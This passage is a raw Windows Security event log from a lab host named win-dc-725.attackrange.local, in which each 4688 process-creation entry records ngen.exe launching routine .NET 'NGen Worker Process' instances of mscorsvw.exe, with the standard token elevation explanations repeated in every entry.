C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 44c -InterruptEvent 0 -NGENProcess 4cc -Pipe 4fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254918 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 4e8 -Pipe 524 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254917 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 500 -InterruptEvent 0 -NGENProcess 524 -Pipe 50c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4e8 -InterruptEvent 0 -NGENProcess 524 -Pipe 510 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254928 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 554 -InterruptEvent 0 -NGENProcess 54c -Pipe 564 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254927 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 54c -Pipe 530 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254926 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 474 -Pipe 550 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254925 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 474 -Pipe 4a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254924 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 534 -InterruptEvent 0 -NGENProcess 474 -Pipe 4a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 4a0 -Pipe 494 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254922 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 494 -InterruptEvent 0 -NGENProcess 4cc -Pipe 53c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254921 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 53c -InterruptEvent 0 -NGENProcess 494 -Pipe 4f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254920 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4f4 -InterruptEvent 0 -NGENProcess 53c -Pipe 45c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254919 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 53c -Pipe 500 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254937 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 580 -InterruptEvent 0 -NGENProcess 4c4 -Pipe 59c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 598 -InterruptEvent 0 -NGENProcess 4c4 -Pipe 584 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254935 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 4c4 -Pipe 554 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254934 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 584 -InterruptEvent 0 -NGENProcess 544 -Pipe 52c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254933 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 554 -InterruptEvent 0 -NGENProcess 544 -Pipe 56c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start 